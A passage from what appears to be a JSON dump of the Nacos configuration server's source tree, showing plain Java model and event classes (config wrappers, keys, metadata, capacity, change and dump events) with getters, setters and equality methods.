{\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigInfoStateWrapper that = (ConfigInfoStateWrapper) o;\n        return id == that.id && lastModified == that.lastModified && Objects.equals(dataId, that.dataId)\n                && Objects.equals(group, that.group) && Objects.equals(tenant, that.tenant) && Objects.equals(md5,\n                that.md5);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(dataId, group, tenant);\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoTagWrapper.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfoTagWrapper.\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class ConfigInfoTagWrapper extends ConfigInfo4Tag {\n    \n    private static final long serialVersionUID = 4511997359365712505L;\n    \n    private long lastModified;\n    \n    public ConfigInfoTagWrapper() {\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoWrapper.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfo Wrapper.\n *\n * @author Nacos\n */\npublic class ConfigInfoWrapper extends ConfigInfo {\n    \n    private static final long serialVersionUID = 4511997359365712505L;\n    \n    private long lastModified;\n    \n    public ConfigInfoWrapper() {\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigKey.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * ConfigKey.\n *\n * @author Nacos\n */\npublic class ConfigKey implements Serializable {\n    \n    private static final long serialVersionUID = -1748953484511867580L;\n    \n    private String appName;\n    \n    private String dataId;\n    \n    private String group;\n    \n    public ConfigKey() {\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigKey configKey = (ConfigKey) o;\n        return Objects.equals(appName, configKey.appName) && Objects.equals(dataId, configKey.dataId) && Objects.equals(\n                group, configKey.group);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(appName, dataId, group);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigListenState.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * The type Config listen state.\n *\n * @author Sunrisea\n */\npublic class ConfigListenState {\n    \n    private String md5;\n    \n    private boolean namespaceTransfer;\n    \n    public ConfigListenState(String md5) {\n        this.md5 = md5;\n    }\n    \n    /**\n     * Is namespace transfer boolean.\n     *\n     * @return the boolean\n     */\n    public boolean isNamespaceTransfer() {\n        return namespaceTransfer;\n    }\n    \n    /**\n     * Sets namespace transfer.\n     *\n     * @param namespaceTransfer the namespace transfer\n     */\n    public void setNamespaceTransfer(boolean namespaceTransfer) {\n        this.namespaceTransfer = namespaceTransfer;\n    }\n    \n    /**\n     * Gets md 5.\n     *\n     * @return the md 5\n     */\n    public String getMd5() {\n        return md5;\n    }\n    \n    /**\n     * Sets md 5.\n     *\n     * @param md5 the md 5\n     */\n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigMetadata.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * config export Metadata.\n *\n * @author Nacos\n */\npublic class ConfigMetadata {\n    \n    private List<ConfigExportItem> metadata;\n    \n    public static class ConfigExportItem {\n        \n        private String group;\n        \n        private String dataId;\n        \n        private String desc;\n        \n        private String type;\n        \n        private String appName;\n        \n        private String configTags;\n        \n        public String getGroup() {\n            return group;\n        }\n        \n        public void setGroup(String group) {\n            this.group = group;\n        }\n        \n        public String getDataId() {\n            return dataId;\n        }\n        \n        public void setDataId(String dataId) {\n            this.dataId = dataId;\n        }\n        \n        public String getDesc() {\n            return desc;\n        }\n        \n        public void setDesc(String desc) {\n            this.desc = desc;\n        }\n        \n        public String getType() {\n            return type;\n        }\n        \n        public void setType(String type) {\n            this.type = type;\n        }\n        \n        public String getAppName() {\n            return appName;\n        }\n        \n        public void setAppName(String appName) {\n            this.appName = appName;\n        }\n        \n        public String getConfigTags() {\n            return configTags;\n        }\n        \n        public void setConfigTags(String configTags) {\n            this.configTags = configTags;\n        }\n        \n        @Override\n        public boolean equals(Object o) {\n            if (this == o) {\n                return true;\n            }\n            if (o == null || getClass() != o.getClass()) {\n                return false;\n            }\n            ConfigExportItem that = (ConfigExportItem) o;\n            return Objects.equals(group, that.group) && Objects.equals(dataId, that.dataId) && Objects\n                    .equals(desc, that.desc) && Objects.equals(type, that.type) && Objects\n                    .equals(appName, that.appName) && Objects.equals(configTags, that.configTags);\n        }\n        \n        @Override\n        public int hashCode() {\n            return Objects.hash(group, dataId, desc, type, appName, configTags);\n        }\n    }\n    \n    public List<ConfigExportItem> getMetadata() {\n        return metadata;\n    }\n    \n    public void setMetadata(List<ConfigExportItem> metadata) {\n        this.metadata = metadata;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigOperateResult.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\n\n/**\n * config operation result.\n * @author shiyiyue\n */\npublic class ConfigOperateResult implements Serializable {\n    \n    boolean success = true;\n    \n    private long id;\n    \n    private long lastModified;\n    \n    public ConfigOperateResult(long id, long lastModified) {\n        this.id = id;\n        this.lastModified = lastModified;\n    }\n    \n    public ConfigOperateResult(boolean success) {\n        this.success = success;\n    }\n    \n    public ConfigOperateResult() {\n    \n    }\n    \n    public boolean isSuccess() {\n        return success;\n    }\n    \n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n    \n    public long getId() {\n        return id;\n    }\n    \n    public void setId(long id) {\n        this.id = id;\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigRequestInfo.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * ConfigRequestInfo.\n * @author dongyafei\n * @date 2022/8/11\n */\npublic class ConfigRequestInfo implements Serializable {\n    \n    private static final long serialVersionUID = 326726654448860273L;\n    \n    private String srcIp;\n    \n    private String srcType;\n    \n    private String requestIpApp;\n    \n    private String betaIps;\n    \n    private String casMd5;\n    \n    private boolean namespaceTransferred;\n    \n    private Boolean updateForExist = Boolean.TRUE;\n    \n    public ConfigRequestInfo(String srcIp, String srcType, String requestIpApp, String betaIps, String casMd5) {\n        this.srcIp = srcIp;\n        this.srcType = srcType;\n        this.requestIpApp = requestIpApp;\n        this.betaIps = betaIps;\n        this.casMd5 = casMd5;\n    }\n    \n    public ConfigRequestInfo() {\n    }\n    \n    public String getSrcIp() {\n        return srcIp;\n    }\n    \n    public void setSrcIp(String srcIp) {\n        this.srcIp = srcIp;\n    }\n    \n    public String getSrcType() {\n        return srcType;\n    }\n    \n    public void setSrcType(String srcType) {\n        this.srcType = srcType;\n    }\n    \n    public String getRequestIpApp() {\n        return requestIpApp;\n    }\n    \n    public void setRequestIpApp(String requestIpApp) {\n        this.requestIpApp = requestIpApp;\n    }\n    \n    public String getBetaIps() {\n        return betaIps;\n    }\n    \n    public void setBetaIps(String betaIps) {\n        this.betaIps = betaIps;\n    }\n    \n    public String getCasMd5() {\n        return casMd5;\n    }\n    \n    public void setCasMd5(String casMd5) {\n        this.casMd5 = casMd5;\n    }\n    \n    public Boolean getUpdateForExist() {\n        return updateForExist;\n    }\n    \n    public void setUpdateForExist(Boolean updateForExist) {\n        this.updateForExist = updateForExist;\n    }\n    \n    public boolean isNamespaceTransferred() {\n        return namespaceTransferred;\n    }\n    \n    public void setNamespaceTransferred(boolean namespaceTransferred) {\n        this.namespaceTransferred = namespaceTransferred;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigRequestInfo that = (ConfigRequestInfo) o;\n        return Objects.equals(srcIp, that.srcIp) && Objects.equals(requestIpApp, that.requestIpApp) && Objects.equals(\n                betaIps, that.betaIps) && Objects.equals(casMd5, that.casMd5) && Objects.equals(updateForExist, that.updateForExist);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(srcIp, requestIpApp, betaIps, casMd5);\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigRequestInfoVo{\" + \"srcIp='\" + srcIp + '\\'' + \", requestIpApp='\" + requestIpApp + '\\''\n                + \", betaIps='\" + betaIps + '\\'' + \", casMd5='\" + casMd5 + '\\'' + \", updateForExist='\" + updateForExist + '}';\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/GroupkeyListenserStatus.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.Map;\n\n/**\n * GroupkeyListenserStatus.\n *\n * @author Nacos\n */\npublic class GroupkeyListenserStatus implements Serializable {\n    \n    private static final long serialVersionUID = -2094829323598842474L;\n    \n    private int collectStatus;\n    \n    private Map<String, String> lisentersGroupkeyStatus;\n    \n    public int getCollectStatus() {\n        return collectStatus;\n    }\n    \n    public void setCollectStatus(int collectStatus) {\n        this.collectStatus = collectStatus;\n    }\n    \n    public Map<String, String> getLisentersGroupkeyStatus() {\n        return lisentersGroupkeyStatus;\n    }\n    \n    public void setLisentersGroupkeyStatus(Map<String, String> lisentersGroupkeyStatus) {\n        this.lisentersGroupkeyStatus = lisentersGroupkeyStatus;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ListenerCheckResult.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\n\n/**\n * check config has listener.\n *\n * @author shiyiyue\n */\npublic class ListenerCheckResult implements Serializable {\n    \n    private boolean hasListener;\n    \n    private int code;\n    \n    private String message;\n    \n    public boolean isHasListener() {\n        return hasListener;\n    }\n    \n    public void setHasListener(boolean hasListener) {\n        this.hasListener = hasListener;\n    }\n    \n    public int getCode() {\n        return code;\n    }\n    \n    public void setCode(int code) {\n        this.code = code;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public void setMessage(String message) {\n        this.message = message;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/NacosConfigCacheFactory.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * The type Nacos config cache factory.\n *\n * @author Sunrisea\n */\npublic class NacosConfigCacheFactory implements ConfigCacheFactory {\n    \n    @Override\n    public ConfigCache createConfigCache() {\n        return new ConfigCache();\n    }\n    \n    @Override\n    public ConfigCacheGray createConfigCacheGray() {\n        return new ConfigCacheGray();\n    }\n    \n    @Override\n    public String getName() {\n        return \"nacos\";\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/NacosConfigCachePostProcessor.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * The type Nacos config cache md 5 post processor.\n *\n * @author Sunrisea\n */\npublic class NacosConfigCachePostProcessor implements ConfigCachePostProcessor {\n    \n    @Override\n    public String getName() {\n        return \"nacos\";\n    }\n    \n    @Override\n    public void postProcess(ConfigCache configCache, String content) {\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/SampleResult.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.Map;\n\n/**\n * SampleResult.\n *\n * @author Nacos\n */\npublic class SampleResult implements Serializable {\n    \n    private static final long serialVersionUID = 2587823382317389453L;\n    \n    private Map<String, String> lisentersGroupkeyStatus;\n    \n    public Map<String, String> getLisentersGroupkeyStatus() {\n        return lisentersGroupkeyStatus;\n    }\n    \n    public void setLisentersGroupkeyStatus(Map<String, String> lisentersGroupkeyStatus) {\n        this.lisentersGroupkeyStatus = lisentersGroupkeyStatus;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/SubscriberStatus.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\n\n/**\n * SubscriberStatus.\n *\n * @author Nacos\n */\npublic class SubscriberStatus implements Serializable {\n    \n    private static final long serialVersionUID = 1065466896062351086L;\n    \n    private String groupKey;\n    \n    private String md5;\n    \n    private Long lastTime;\n    \n    private Boolean status;\n    \n    private String serverIp;\n    \n    public SubscriberStatus() {\n    }\n    \n    public SubscriberStatus(String groupKey, Boolean status, String md5, Long lastTime) {\n        this.groupKey = groupKey;\n        this.md5 = md5;\n        this.lastTime = lastTime;\n        this.status = status;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public Long getLastTime() {\n        return lastTime;\n    }\n    \n    public void setLastTime(Long lastTime) {\n        this.lastTime = lastTime;\n    }\n    \n    public Boolean getStatus() {\n        return status;\n    }\n    \n    public void setStatus(Boolean status) {\n        this.status = status;\n    }\n    \n    public String getGroupKey() {\n        \n        return groupKey;\n    }\n    \n    public void setGroupKey(String groupKey) {\n        this.groupKey = groupKey;\n    }\n    \n    public String getServerIp() {\n        return serverIp;\n    }\n    \n    public void setServerIp(String serverIp) {\n        this.serverIp = serverIp;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/capacity/Capacity.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.capacity;\n\nimport com.fasterxml.jackson.databind.annotation.JsonSerialize;\nimport com.fasterxml.jackson.databind.ser.std.ToStringSerializer;\n\nimport java.io.Serializable;\nimport java.sql.Timestamp;\n\n/**\n * Capacity.\n *\n * @author hexu.hxy\n * @date 2018/3/13\n */\npublic class Capacity implements Serializable {\n    \n    private static final long serialVersionUID = 77343194329627468L;\n    \n    @JsonSerialize(using = ToStringSerializer.class)\n    private Long id;\n    \n    private Integer quota;\n    \n    private Integer usage;\n    \n    private Integer maxSize;\n    \n    private Integer maxAggrCount;\n    \n    private Integer maxAggrSize;\n    \n    private Timestamp gmtCreate;\n    \n    private Timestamp gmtModified;\n    \n    public Long getId() {\n        return id;\n    }\n    \n    public void setId(Long id) {\n        this.id = id;\n    }\n    \n    public Integer getQuota() {\n        return quota;\n    }\n    \n    public void setQuota(Integer quota) {\n        this.quota = quota;\n    }\n    \n    public Integer getUsage() {\n        return usage;\n    }\n    \n    public void setUsage(Integer usage) {\n        this.usage = usage;\n    }\n    \n    public Integer getMaxSize() {\n        return maxSize;\n    }\n    \n    public void setMaxSize(Integer maxSize) {\n        this.maxSize = maxSize;\n    }\n    \n    public Integer getMaxAggrCount() {\n        return maxAggrCount;\n    }\n    \n    public void setMaxAggrCount(Integer maxAggrCount) {\n        this.maxAggrCount = maxAggrCount;\n    }\n    \n    public Integer getMaxAggrSize() {\n        return maxAggrSize;\n    }\n    \n    public void setMaxAggrSize(Integer maxAggrSize) {\n        this.maxAggrSize = maxAggrSize;\n    }\n    \n    public Timestamp getGmtCreate() {\n        if (gmtCreate == null) {\n            return null;\n        }\n        return new Timestamp(gmtCreate.getTime());\n    }\n    \n    public void setGmtCreate(Timestamp gmtCreate) {\n        if (gmtCreate == null) {\n            this.gmtCreate = null;\n        } else {\n            this.gmtCreate = new Timestamp(gmtCreate.getTime());\n        }\n        \n    }\n    \n    public Timestamp getGmtModified() {\n        if (gmtModified == null) {\n            return null;\n        }\n        return new Timestamp(gmtModified.getTime());\n    }\n    \n    public void setGmtModified(Timestamp gmtModified) {\n        if (gmtModified == null) {\n            this.gmtModified = null;\n        } else {\n            this.gmtModified = new Timestamp(gmtModified.getTime());\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/capacity/GroupCapacity.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.capacity;\n\n/**\n * Group Capacity.\n *\n * @author hexu.hxy\n * @date 2018/3/13\n */\npublic class GroupCapacity extends Capacity {\n    \n    private static final long serialVersionUID = 5888791286289014878L;\n    \n    private String groupName;\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/capacity/NamespaceCapacity.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.capacity;\n\n/**\n * Namespace Capacity.\n *\n * @author hexu.hxy\n * @date 2018/3/13\n */\npublic class NamespaceCapacity extends Capacity {\n    \n    private static final long serialVersionUID = -1238179608935781384L;\n    \n    private String namespaceId;\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/event/ConfigDataChangeEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * ConfigDataChangeEvent.\n *\n * @author Nacos\n */\npublic class ConfigDataChangeEvent extends Event {\n    \n    public String dataId;\n    \n    public String group;\n    \n    public String tenant;\n    \n    public String grayName;\n    \n    public final long lastModifiedTs;\n    \n    public ConfigDataChangeEvent(String dataId, String group, String tenant, long gmtModified) {\n        if (null == dataId || null == group) {\n            throw new IllegalArgumentException(\"dataId is null or group is null\");\n        }\n        this.dataId = dataId;\n        this.group = group;\n        this.tenant = tenant;\n        this.lastModifiedTs = gmtModified;\n    }\n    \n    public ConfigDataChangeEvent(String dataId, String group, String tenant, String grayName, long gmtModified) {\n        this(dataId, group, tenant, gmtModified);\n        this.grayName = grayName;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/event/ConfigDumpEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.event;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * ConfigDumpEvent.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class ConfigDumpEvent extends Event {\n    \n    private static final long serialVersionUID = -8776888606458370294L;\n    \n    private boolean remove;\n    \n    private String namespaceId;\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String encryptedDataKey;\n    \n    private boolean isBeta;\n    \n    private boolean isBatch;\n    \n    private int delimiter;\n    \n    private String tag;\n    \n    private String grayName;\n    \n    private String grayRule;\n    \n    private String content;\n    \n    private String betaIps;\n    \n    private String handleIp;\n    \n    private String type;\n    \n    private long lastModifiedTs;\n    \n    public int getDelimiter() {\n        return delimiter;\n    }\n    \n    public void setDelimiter(int delimiter) {\n        this.delimiter = delimiter;\n    }\n    \n    public boolean isRemove() {\n        return remove;\n    }\n    \n    public void setRemove(boolean remove) {\n        this.remove = remove;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n 